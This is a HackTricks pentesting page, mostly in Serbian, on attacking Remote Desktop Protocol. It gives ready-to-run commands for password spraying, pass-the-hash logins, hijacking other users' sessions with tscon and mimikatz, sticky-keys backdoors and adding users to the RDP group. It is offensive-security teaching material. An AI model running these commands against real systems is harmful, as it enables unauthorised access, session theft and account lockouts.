3389 - Pentesting RDP
Reading time: 5 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Razvijen od strane Microsoft-a, Remote Desktop Protocol (RDP) je dizajniran da omogući grafičku interfejs vezu između računara preko mreže. Da bi se uspostavila takva veza, korisnik koristi RDP klijentski softver, dok je istovremeno potrebno da udaljeni računar koristi RDP serverski softver. Ova postavka omogućava besprekornu kontrolu i pristup desktop okruženju udaljenog računara, suštinski donoseći njegov interfejs na korisnikov lokalni uređaj.
Podrazumevani port: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Enumeracija
Automatski
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
Proverava dostupnu enkripciju i DoS ranjivost (bez izazivanja DoS na uslugu) i dobija NTLM Windows informacije (verzije).
Brute force
Budite oprezni, mogli biste zaključati naloge
Password Spraying
Budite oprezni, mogli biste zaključati naloge
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Povežite se sa poznatim akreditivima/hash-om
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
Proverite poznate akreditive protiv RDP usluga
rdp_check.py iz impacket-a vam omogućava da proverite da li su neki akreditivi validni za RDP uslugu:
rdp_check <domain>/<name>:<password>@<IP>
Napadi
Krađa sesija
Sa SYSTEM dozvolama možete pristupiti bilo kojoj otvorenoj RDP sesiji bilo kog korisnika bez potrebe da znate lozinku vlasnika.
Dobijte otvorene sesije:
query user
Pristup odabranoj sesiji
tscon <ID> /dest:<SESSIONNAME>
Sada ćete biti unutar odabrane RDP sesije i moći ćete da se pretvarate da ste korisnik koristeći samo Windows alate i funkcije.
Važno: Kada pristupite aktivnim RDP sesijama, izbacujete korisnika koji je koristio tu sesiju.
Možete dobiti lozinke iz procesa tako što ćete ih iskopirati, ali ova metoda je mnogo brža i omogućava vam da interagujete sa virtuelnim radnim površinama korisnika (lozinke u notepadu bez čuvanja na disku, druge RDP sesije otvorene na drugim mašinama...)
Mimikatz
Takođe možete koristiti mimikatz za ovo:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
Sticky-keys & Utilman
Kombinovanjem ove tehnike sa stickykeys ili utilman, moći ćete da pristupite administrativnom CMD-u i bilo kojoj RDP sesiji u bilo kojem trenutku.
Možete pretraživati RDP-ove koji su već backdoor-ovani jednom od ovih tehnika sa: https://github.com/linuz/Sticky-Keys-Slayer
RDP Process Injection
Ako se neko iz druge domene ili sa boljim privilegijama prijavi putem RDP-a na PC gde ste vi Admin, možete ubaciti svoj beacon u njegov RDP sesijski proces i delovati kao on:
Adding User to RDP group
net localgroup "Remote Desktop Users" UserLoginName /add
Automatski alati
AutoRDPwn je okvir za post-exploitation kreiran u Powershell-u, dizajniran prvenstveno za automatizaciju Shadow napada na Microsoft Windows računarima. Ova ranjivost (navedena kao funkcija od strane Microsoft-a) omogućava udaljenom napadaču da pogleda radnu površinu svoje žrtve bez njenog pristanka, pa čak i da njome upravlja na zahtev, koristeći alate koji su izvorni deo samog operativnog sistema.
- EvilRDP
- Kontrola miša i tastature na automatizovan način iz komandne linije
- Kontrola međuspremnika na automatizovan način iz komandne linije
- Pokretanje SOCKS proxy-a sa klijenta koji usmerava mrežnu komunikaciju ka cilju putem RDP-a
- Izvršavanje proizvoljnih SHELL i PowerShell komandi na cilju bez učitavanja fajlova
- Učitavanje i preuzimanje fajlova sa/na cilj čak i kada su prenosi fajlova onemogućeni na cilju
HackTricks automatske komande
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.